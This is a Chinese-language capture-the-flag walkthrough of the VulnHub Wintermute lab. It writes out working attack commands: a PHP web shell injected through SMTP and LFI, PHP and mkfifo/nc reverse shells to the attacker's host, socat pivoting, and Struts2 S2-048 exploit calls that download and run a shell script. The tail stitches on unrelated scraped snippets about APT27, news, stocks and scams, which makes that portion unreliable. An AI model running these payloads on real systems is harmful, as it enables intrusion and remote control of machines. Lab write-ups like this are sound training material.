靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/
靶机难度:中级(CTF)
靶机发布日期:2018年7月5日
靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经典Neuromancer为主题-任何 *** 安全爱好者都必须阅读。该实验室利用了数据透视和后期开发,而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都扎根。您只需要默认的Kali Linux。
不会出现缓冲区溢出或漏洞利用的情况-使用小的单词列表就可以完成任何必要的密码破解。
Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖,然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共 *** 中。你的Kali应该和Straylight在同一个虚拟 *** 上。
需要VirtualBox。VMware无法正确导入。
目标:得到root权限&找到flag.txt
作者:DRX嗯嗯呐
这次两台靶机,牛不牛,很期待。
开始!!!
Kail网卡配置
Straylight靶机网卡配置
Neuromancer靶机网卡配置
kail:192.168.56.3
Neuromancer靶机:10.0.2.8
Straylight靶机:192.168.56.8/10.0.2.10
nmap扫描靶机地址
按照提示,我们先搞Straylight靶机
nmap 端口扫描
25 *** tp
80 http
3000? Apache Hadoop
Hadoop是Apache基金会开发的分布式系统基础架构,Hadoop主要被用来解决海量数据的存储和海量数据的分析计算。
25 端口使用 *** tp-user-enum未扫描出什么有用的账号
访问80端口
过一会出现一个新的js
通过dirb和nikto扫描只发现两个文件目录记录一下
http://192.168.56.4/manual/images/
http://192.168.56.4/manual/style/
但是都没有获得有用的信息
访问3000端口
靶机使用了ntopng
nikto扫描出一个反射型xss漏洞
但是利用反射xss漏洞无法获得shell只能暂时放着
查看网页源代码,发现flag敏感字眼
获得提示但是无法访问,但是没办法访问
使用admin用户可以登录
登录之后在访问
用strings打开也没有获得什么信息。
之后继续在登陆的界面查找有用信息,发现在FLOWS模块下记录访问目录
访问/turing-bolo/,说是从列表中选择一个人来查看他们的自定义活动日志
选择一个case用户提交
发现了其他三个用户的日志,看一看能不能访问
可以访问,直接修改bolo参数后面的值,测试是否存在本地文件包含漏洞
http://192.168.56.4/turing-bolo/bolo.php?bolo=https://www.freebuf.com/articles/turing-bolo/molly
看来bolo参数存在LFI漏洞,但是看这个情况是默认补充后缀.log,这样的话只能访问log文件,测试一下
因为靶机存在 *** tp服务,所以看一下/var/log/mail日志
现在我们可以看到了mail日志了,根据日志我们可以看到日志里包含了发件人和收件人信息。
利用思路如下:我们用 *** tp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell
HELO ROOT#向服务器标识用户身份
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人
RCPT TO:ROOT#RCPT TO:收件人
data#开始编辑邮件内容
.#输入点代表编辑结束
成功获得shell
http://192.168.56.8/turing-bolo/bolo.php?bolo=//var/log/mail&cmd=ls
下面我们执行一个反弹shell语句,获得交互界面
这里可以使用的 *** 很多,我用的是PHP的sock函数
php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
首先将代码进行URL编码
监听4444端口
执行,获得shell
发现靶机中具备SID权限的文件,发现screen
find / -perm -4000 2>/dev/null
查询发现screen-4.5.0存在漏洞
根据sh文件内容,建立两个c文件
上传到靶机
编译,根据命令执行文件
获得root权限和flag
我们这里拿到了Straylight靶机的权限并找到flag
在note文件获得提示:提供了一个URL:/struts2_2.3.15.1-showcase,但这不适用于本机的IP,服务器是通过tomcat运行WEB的。
开始我们的渗透,查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了
因为靶机没有nmap,我们可以通过ping进行扫描Neuromancer靶机的IP
for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i"; ?fi ; done
只输出可以ping通的IP
Neuromancer靶机IP:10.0.2.8
通过nc扫描靶机存活的端口
nc -v -z -w2 10.0.2.8 1-65535
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
扫描出三个端口
8080
8009
34483
现在需要kail连接这些端口,需要linux中socat进行重定向
socat是一个多功能的 *** 工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &
TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口
reuseaddr:绑定本地一个端口
fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听
&: 后台执行命令
Straylight靶机开始不存在8080端口,在执行端口重定向,发现端口存在,同时访问192.168.56.8:8080,自动跳转至10.0.2.8:8080。
接下来将另两个端口进行重定向
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &
测试可以访问,并发现34483是ssh服务
根据Straylight靶机note.txt提示,访问/struts2_2.3.15.1-showcase目录
根据struts2版本查找查找对用的漏洞,此次struts2漏洞存在
POC: https://www.exploit-db.com/exploits/42324
想让Neuromancer靶机反弹shell到kail上,需要在Straylight靶机继续使用socat做端口重定向
首先在kail上启动6666监听端口
在Straylight靶机执行命令
socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 &
因为需要Neuromancer靶机连接kai,但是靶机和kail直接不通,需要让Neuromancer靶机连接Straylight靶机6666端口,Straylight靶机将流量重定向到192.168.56.3:6666(kail)上
执行poc
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"nc 192.168.56.8 6666"
连接上了,但是靶机不可以使用nc -e ,无法通过nc直接运行程序,我们利用文件管道符-nc反弹shell
rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f
将shell上传到Neuromancer靶机,因为刚才在Straylight靶机启动6666端口重定向kail的6666端口上,相当于访问Straylight靶机6666端口等于访问kail6666端口。
在kail启动httpserver服务提供下载shell
远程执行命令下载shelll
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"wget http://192.168.56.8:6666/shell.sh-O /tmp/shell1.sh"
这样shell.sh就下载到了Neuromancer靶机上
接下来赋权
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"chmod +x /tmp/shell1.sh"
kail监听6666端口,Neuromancer靶机执行刚刚上传的shell
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"sh /tmp/shell1.sh"
获得ta用户权限,接下来看看怎么提权吧
查看操作系统版本
看到可以直接内核漏洞提权(CVE-2017-16995)
应为靶机无法执行cc命令,进行编译exp,需要先将exp编译好,在上传
在Straylight靶机socat443端口用来重定向数据
kail启动443端口提供下载
Neuromancer靶机下载exp
赋权,并执行exp,获得root权限
完成!!!
这次的靶机因为是我用时最长的了,搞了两天,啧啧啧,完成的那一刻感觉神清气爽,通透。
1、通过nmap扫描Straylight靶机端口,在3000端口的web界面存在弱口令,登陆看到了历史访问的web目录。
2、在/turing-bolo/发现一个本地文件包含漏洞,利用系统的 *** tp服务器,将发件人构造为木马,发送邮件,通过LFI漏洞读取mail日志,将木马包含到php界面执行。成功获得shell。
3、利用一句话木马,执行php反弹shell,获得一个交互界面。在Straylight靶机发现screen服务具备SID权限。
4、利用GNU Screen 4.5.0 root exploit提权,获得Straylight靶机root权限。
5、在Straylight靶机通过ping确定Neuromancer靶机IP,通过nc确定Neuromancer靶机端口,使用socat命令在Straylight靶机启动监听端口,并将对于端口的数据库转发到Neuromancer靶机上,这样kail就可以访问Neuromancer靶机了。
6、根据Straylight靶机root目录下note文件提示,访问/struts2_2.3.15.1-showcase目录,发现Neuromancer靶机使用的是struts2,测试发现存在Apache Struts2 S2-048远程代码执行漏洞。
7、利用漏洞上传一个文件管道符nc反弹shell文件,并执行,获得一个交互式窗口。
8、发现Neuromancer靶机使用的是ubuntu 16.04.4,查询此版本存在内核提权漏洞,利用漏洞,提权成功,获得root权限。
本文目录一览: 1、apt27黑客组织是哪个国家的 2、apt27是红客吗 3、红衣黑客apt27是哪个国家的 apt27黑客组织是哪个国家的 据悉,这个组织本来很神秘,成员是来自世界各国的...
汇集七百三十五万份数据——这份目录存的都是国家战略生物资源 本报记者 陆成宽 “生物资源是保护生态文明、保障国民生命健康、保持国家经济发展和保卫国门生物安全的重要战略资源。” 1...
埃塞俄比亚政府目前正在该国各地建立四个地区血库办事处和十二个小型血库。吧啦 百年大党的胸怀与担当(国际论坛) 中国共产党始终生机勃勃,因为它一直不断自我革新、与时俱进 今年是中国共产党成立100...
2020年3月份的情况下,我与大伙儿共享了打新底仓股的两个计划方案,在其中一套计划方案是美丽的 伊利牛奶,许多菜友认同并开展了配备。现如今,美的股价对比那时候早已贴近翻番,伊利牛奶也涨了30%,恭贺拥...
相信很多人对淘宝刷单这个兼职不陌生,网上经常有人说什么一个小时轻松赚几十元的传言,可是真的那么好赚吗?大家先看下面这个案例: 【女大学生网上找兼职被骗5千 上网求助又被骗3千】 “你说说看,怎...
对于网站留言板而言,在网站建设的过程中,是一个经常被忽略的一个小细节,很少有专业的SEO优化人员关注网站留言板设计,甚至并不关心这个功能。而在实际运营的过程中,我们发现合理的善用网站在线网站留言板...